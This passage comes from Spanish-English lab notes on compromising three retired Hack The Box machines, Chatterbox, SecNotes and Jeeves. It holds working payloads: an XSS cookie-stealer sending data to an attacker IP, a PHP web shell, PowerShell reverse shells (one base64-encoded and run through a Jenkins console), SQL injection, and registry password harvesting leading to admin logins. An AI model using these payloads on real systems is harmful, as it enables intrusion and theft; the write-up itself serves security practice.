[*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[M]MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M]MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*] http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*] http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[E]MS14-040: Vulnerability in Ancillary Function Driver (AFD) Could Allow Elevation of Privilege (2975684) - Important
[*] https://www.exploit-db.com/exploits/39525/ -- Microsoft Windows 7 x64 - afd.sys Privilege Escalation (MS14-040), PoC
[*] https://www.exploit-db.com/exploits/39446/ -- Microsoft Windows - afd.sys Dangling Pointer Privilege Escalation (MS14-040), PoC
[*]
[E]MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important
[*] http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC
[*]
[*]done
```
```bash
C:\Windows\system32>netstat -ano
netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 664
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 352
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 716
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 912
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 456
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 968
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING 464
TCP 10.10.10.74:139 0.0.0.0:0 LISTENING 4
TCP 10.10.10.74:9255 0.0.0.0:0 LISTENING 788
TCP 10.10.10.74:9256 0.0.0.0:0 LISTENING 788
TCP 10.10.10.74:49158 10.10.14.3:8877 ESTABLISHED 788
TCP [::]:135 [::]:0 LISTENING 664
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:49152 [::]:0 LISTENING 352
TCP [::]:49153 [::]:0 LISTENING 716
TCP [::]:49154 [::]:0 LISTENING 912
TCP [::]:49155 [::]:0 LISTENING 456
TCP [::]:49156 [::]:0 LISTENING 968
TCP [::]:49157 [::]:0 LISTENING 464
UDP 0.0.0.0:123 *:* 872
UDP 0.0.0.0:500 *:* 912
UDP 0.0.0.0:4500 *:* 912
UDP 0.0.0.0:5355 *:* 1104
UDP 0.0.0.0:57992 *:* 1104
UDP 0.0.0.0:58405 *:* 1104
UDP 10.10.10.74:137 *:* 4
UDP 10.10.10.74:138 *:* 4
UDP 10.10.10.74:1900 *:* 3352
UDP 10.10.10.74:9256 *:* 788
UDP 10.10.10.74:58819 *:* 3352
UDP 127.0.0.1:1900 *:* 3352
UDP 127.0.0.1:58820 *:* 3352
UDP [::]:123 *:* 872
UDP [::]:500 *:* 912
UDP [::]:4500 *:* 912
UDP [::1]:1900 *:* 3352
UDP [::1]:58818 *:* 3352
```
A buscar passwords en el registro:
```Bash
C:\Users\Alfred\Desktop>reg query HKLM /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6BC0989B-0CE6-11D1-BAAE-00C04FC2E20D}\ProgID
(Default) REG_SZ IAS.ChangePassword.1
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6BC0989B-0CE6-11D1-BAAE-00C04FC2E20D}\VersionIndependentProgID
(Default) REG_SZ IAS.ChangePassword
[...]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultPassword REG_SZ Welcome1!
[...]
End of search: 49 match(es) found.
```
Tiene pinta de password, no?
```bash
C:\Users\Alfred\Desktop>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
ShutdownWithoutLogon REG_SZ 0
WinStationsDisabled REG_SZ 0
DisableCAD REG_DWORD 0x1
scremoveoption REG_SZ 0
ShutdownFlags REG_DWORD 0x11
DefaultDomainName REG_SZ
DefaultUserName REG_SZ Alfred
AutoAdminLogon REG_SZ 1
DefaultPassword REG_SZ Welcome1!
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
```
Pues parece que funciona:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/chatterbox]
└─$ smbclient --user=alfred -L 10.10.10.74
Password for [WORKGROUP\alfred]: <- La correcta
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.74 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(aml㉿kali)-[~/HTB/Retired/chatterbox]
└─$ smbclient --user=alfred -L 10.10.10.74
Password for [WORKGROUP\alfred]: <- La incorrecta
session setup failed: NT_STATUS_LOGON_FAILURE
```
Y la misma passw funciona con "Administrator":
```bash
┌──(aml㉿kali)-[~/HTB/Retired/chatterbox]
└─$ smbclient --user=Administrator -L 10.10.10.74
Password for [WORKGROUP\Administrator]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.74 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```
Crackmapexec nos permite lanzar comandos sabiendo las credenciales, gracias al puerto 445 :)
```bash
┌──(aml㉿kali)-[/usr/share/windows-resources/binaries]
└─$ crackmapexec smb 10.10.10.74 -u Administrator -p "Welcome1\!" -x "type C:\Users\Administrator\Desktop\root.txt"
SMB 10.10.10.74 445 CHATTERBOX [*] Windows 7 Professional 7601 Service Pack 1 (name:CHATTERBOX) (domain:Chatterbox) (signing:False) (SMBv1:True)
SMB 10.10.10.74 445 CHATTERBOX [+] Chatterbox\Administrator:Welcome1! (Pwn3d!)
SMB 10.10.10.74 445 CHATTERBOX [+] Executed command
SMB 10.10.10.74 445 CHATTERBOX f9eb4383d7c349fbad346894bb620e8d
```
Otra forma es con winexe:
```bash
┌──(aml㉿kali)-[/usr/share/windows-resources/binaries]
└─$ winexe -U Administrator%Welcome1! //10.10.10.74 "cmd.exe"
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
chatterbox\administrator
```
## Windows Subsystem Linux (WSL)- SecNotes
### Access to the machine
nmap:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/SecNotes]
└─$ sudo nmap -T5 -A -p80,445,8808 10.10.10.97
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-14 21:48 CET
Nmap scan report for 10.10.10.97
Host is up (0.070s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods:
|_ Potentially risky methods: TRACE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP|7 (89%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows XP SP3 (89%), Microsoft Windows XP SP2 (86%), Microsoft Windows 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h40m01s, deviation: 4h37m09s, median: 0s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-11-14T20:49:13
|_ start_date: N/A
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: SECNOTES
| NetBIOS computer name: SECNOTES\x00
| Workgroup: HTB\x00
|_ System time: 2022-11-14T12:49:14-08:00
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 75.95 ms 10.10.14.1
2 77.70 ms 10.10.10.97
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.38 seconds
```
There's a website with a login in port 80.
After registered, there's a "notepad" when you can save notes. Also we have an username: tyler@secnotes.htb and we can send him a message using contact form.
First note created. It allow to use html code.
Second note created. Store XSS.
Thirth note: "alert(document.cookie)" works.
So, our code will be:
```javascript
<script>var i=new Image;i.src="http://10.10.14.3/?"+document.cookie;</script>
```
Sent XSS but don't receive response...
La sessid no cambia tras logout.
Ok, la rabbithole estaba en el register. Si nos registramos con un username **' or '1'='1**, al hacer login después, veremos todas las notas de todos los usuarios.
Entre esas notas, hay una llamada "new site":
```
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&
```
And:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/SecNotes]
└─$ rpcclient -U "Tyler" secnotes.htb
Password for [WORKGROUP\Tyler]:
rpcclient $> getusername
Account Name: tyler, Authority Name: SECNOTES
rpcclient $>
```
```bash
┌──(aml㉿kali)-[~/HTB/Retired/SecNotes]
└─$ smbmap -R -u Tyler -p "92g\!mA8BGjOirkL%OG*&" -H 10.10.10.97
[+] IP: 10.10.10.97:445 Name: secnotes.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
.\IPC$\*
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 InitShutdown
fr--r--r-- 4 Sun Dec 31 23:45:16 1600 lsass
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 ntsvcs
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 scerpc
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-374-0
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 epmapper
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-1f0-0
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 LSM_API_service
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 eventlog
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-424-0
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 atsvc
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-54c-0
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 spoolss
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-6a8-0
fr--r--r-- 4 Sun Dec 31 23:45:16 1600 wkssvc
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 trkwks
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 mysqld2584_pipe
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 tapsrv
fr--r--r-- 4 Sun Dec 31 23:45:16 1600 srvsvc
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 vgauth-service
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-278-0
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 ROUTER
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-280-0
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 browser
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 MsFteWds
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 SearchTextHarvester
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 PSHost.133129316245153885.4788.DefaultAppDomain.powershell
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 PSHost.133129316238238397.508.DefaultAppDomain.powershell
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 iisipmb2a07fbb-a3d2-408f-98ab-15d046feb474
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 iislogpipe6836445c-e406-4875-895b-f9edadb20a45
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
fr--r--r-- 3 Sun Dec 31 23:45:16 1600 W32TIME_ALT
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 iisipm6f1c5db5-e853-47af-9a3f-61f2d4809197
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 iislogpipe3ff7e51a-b23f-4228-be97-0cf8c2aa25af
fr--r--r-- 1 Sun Dec 31 23:45:16 1600 IISFCGI-c80d09e6-0aeb-4373-a643-4d82ab00a636
new-site READ, WRITE
.\new-site\*
dr--r--r-- 0 Tue Nov 15 09:25:13 2022 .
dr--r--r-- 0 Tue Nov 15 09:25:13 2022 ..
fr--r--r-- 696 Thu Jun 21 22:15:36 2018 iisstart.htm
fr--r--r-- 98757 Thu Jun 21 22:15:38 2018 iisstart.png
```
Uploaded revshell.php
```php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
```
```bash
┌──(aml㉿kali)-[~/HTB/Retired/SecNotes]
└─$ smbclient -U Tyler //10.10.10.97/new-site
Password for [WORKGROUP\Tyler]:
Try "help" to get a list of possible commands.
smb: \> list
0: server=10.10.10.97, share=new-site
smb: \> ls
. D 0 Tue Nov 15 09:25:13 2022
.. D 0 Tue Nov 15 09:25:13 2022
iisstart.htm A 696 Thu Jun 21 17:26:03 2018
iisstart.png A 98757 Thu Jun 21 17:26:03 2018
7736063 blocks of size 4096. 3388138 blocks available
smb: \> put revshell.php
putting file revshell.php as \revshell.php (24,2 kb/s) (average 24,2 kb/s)
smb: \>
```
Sent this payload over the php page for having a good revshell in port 8888:
```cmd
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.4',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
And:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/SecNotes]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.97] 57887
PS C:\inetpub\new-site> whoami
secnotes\tyler
````
```bash
C:\inetpub\new-site>sc query windefend
sc query windefend
SERVICE_NAME: windefend
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
```
```bash
C:\inetpub\new-site>where /R c:\windows bash.exe
where /R c:\windows bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
C:\inetpub\new-site>where /R c:\windows wsl.exe
where /R c:\windows wsl.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-wsl_31bf3856ad364e35_10.0.17134.1_none_686f10b5380a84cf\wsl.exe
```
Vaya qué chorprecha!
```bash
C:\inetpub\new-site>c:\Windows\WinSxS\amd64_microsoft-windows-lxss-wsl_31bf3856ad364e35_10.0.17134.1_none_686f10b5380a84cf\wsl.exe whoami
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-wsl_31bf3856ad364e35_10.0.17134.1_none_686f10b5380a84cf\wsl.exe whoami
root
```
Nos montamos en la bash del wsl
```bash
C:\inetpub\new-site>c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
mesg: ttyname failed: Inappropriate ioctl for device
whoami
root
python -c 'import pty;pty.spawn("/bin/bash")'
root@SECNOTES:~# whoami
whoami
root
root@SECNOTES:~# hostname
hostname
SECNOTES
root@SECNOTES:~#
```
Wo!!
```bash
root@SECNOTES:~# history
history
1 cd /mnt/c/
2 ls
3 cd Users/
4 cd /
5 cd ~
6 ls
7 pwd
8 mkdir filesystem
9 mount //127.0.0.1/c$ filesystem/
10 sudo apt install cifs-utils
11 mount //127.0.0.1/c$ filesystem/
12 mount //127.0.0.1/c$ filesystem/ -o user=administrator
13 cat /proc/filesystems
14 sudo modprobe cifs
15 smbclient
16 apt install smbclient
17 smbclient
18 smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
19 > .bash_history
20 less .bash_history
21 whoami
```
Y funsionó.
```bash
┌──(aml㉿kali)-[~/HTB/Retired/SecNotes]
└─$ smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin DHS 0 Fri Jun 22 00:24:29 2018
bootmgr AHSR 395268 Fri Jul 10 13:00:31 2015
BOOTNXT AHS 1 Fri Jul 10 13:00:31 2015
Config.Msi DHS 0 Mon Jan 25 16:24:50 2021
Distros D 0 Fri Jun 22 00:07:52 2018
Documents and Settings DHSrn 0 Fri Jul 10 14:21:38 2015
inetpub D 0 Fri Jun 22 03:47:33 2018
Microsoft D 0 Fri Jun 22 23:09:10 2018
pagefile.sys AHS 738197504 Mon Nov 14 21:32:51 2022
PerfLogs D 0 Thu Apr 12 01:38:20 2018
php7 D 0 Thu Jun 21 17:15:24 2018
Program Files DR 0 Tue Jan 26 11:39:51 2021
Program Files (x86) DR 0 Tue Jan 26 11:38:26 2021
ProgramData DH 0 Sun Aug 19 23:56:49 2018
Recovery DHSn 0 Thu Jun 21 23:52:17 2018
swapfile.sys AHS 16777216 Mon Nov 14 21:32:52 2022
System Volume Information DHS 0 Thu Jun 21 23:53:13 2018
Ubuntu.zip A 201749452 Fri Jun 22 00:07:28 2018
Users DR 0 Fri Jun 22 00:00:39 2018
Windows D 0 Tue Jan 26 11:38:46 2021
7736063 blocks of size 4096. 3384441 blocks available
smb: \>
```
Otra forma:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/SecNotes]
└─$ impacket-psexec administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.10.97.....
[*] Found writable share ADMIN$
[*] Uploading file YcZOqIUv.exe
[*] Opening SVCManager on 10.10.10.97.....
[*] Creating service Vnbo on 10.10.10.97.....
[*] Starting service Vnbo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32> whoami
nt authority\system
C:\WINDOWS\system32> hostname
SECNOTES
```
wmiexe, smbexec son otras formas de tener consola.
## Impersonation and Potato Attacks- Jeeves
### Access to the machine
Tiene un buscador llamado Jeeves en el 80. Cuando buscas algo te devuelve lo que parece un error, pero es una captura de pantalla (http://10.10.10.63/jeeves.PNG).
Otro servidor web en el 50000 que devuelve un 404 y firma con "Powered by Jetty:// 9.4.z-SNAPSHOT"
nmap:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/Jeeves]
└─$ sudo nmap -A -T5 -p80,135,445,50000 10.10.10.63 -oN nmap.out
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-15 17:13 CET
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.82% done; ETC: 17:14 (0:00:00 remaining)
Nmap scan report for 10.10.10.63
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2008|10|2016|7|Vista (90%), FreeBSD 6.X (86%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_10 cpe:/o:freebsd:freebsd:6.2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (90%), Microsoft Windows 10 1511 - 1607 (87%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%), Microsoft Windows Server 2016 (85%), Microsoft Windows 7 (85%), Microsoft Windows 7 Professional or Windows 8 (85%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (85%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (85%), Microsoft Windows Vista SP2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-11-15T21:14:26
|_ start_date: 2022-11-15T21:10:23
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 50.90 ms 10.10.14.1
2 51.02 ms 10.10.10.63
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.94 seconds
```
wfuzz (que dirb no va bien con diccionarios grandes):
```bash
┌──(aml㉿kali)-[~]
└─$ wfuzz -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc 404 http://10.10.10.63:50000/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.63:50000/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000041607: 302 0 L 0 W 0 Ch "askjeeves"
```
http://10.10.10.63:50000/askjeeves/ Qué guesser deverdá!
Es un jenkins, let's RCE it!
Vamos a http://10.10.10.63:50000/askjeeves/script
```bash
def var = "C:\\Windows\\System32\\whoami.exe"
var.execute().text
> Result: jeeves\kohsuke
```
```bash
def var = 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c "ls"'
var.execute().text
> Result:
Directory: C:\Users\Administrator\.jenkins
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/3/2017 10:33 PM jobs
d----- 11/3/2017 10:33 PM logs
d----- 11/3/2017 10:33 PM nodes
d----- 11/3/2017 10:44 PM plugins
[...]
```
Y la revshell
```bash
def var = 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAOAA4ADcANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA='
var.execute().text
```
```bash
┌──(aml㉿kali)-[~/HTB/Retired/Jeeves]
└─$ nc -nlvp 8877
listening on [any] 8877 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.63] 49676
whoami
jeeves\kohsuke
PS C:\Users\Administrator\.jenkins> hostname
Jeeves
PS C:\Users\Administrator\.jenkins>
```
### PrivEsc w/ Impersonation Privileges
```bash
PS C:\Users\Administrator\.jenkins> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
```
Descargado juicypotato desde https://github.com/ohpe/juicy-potato/releases/tag/v0.1
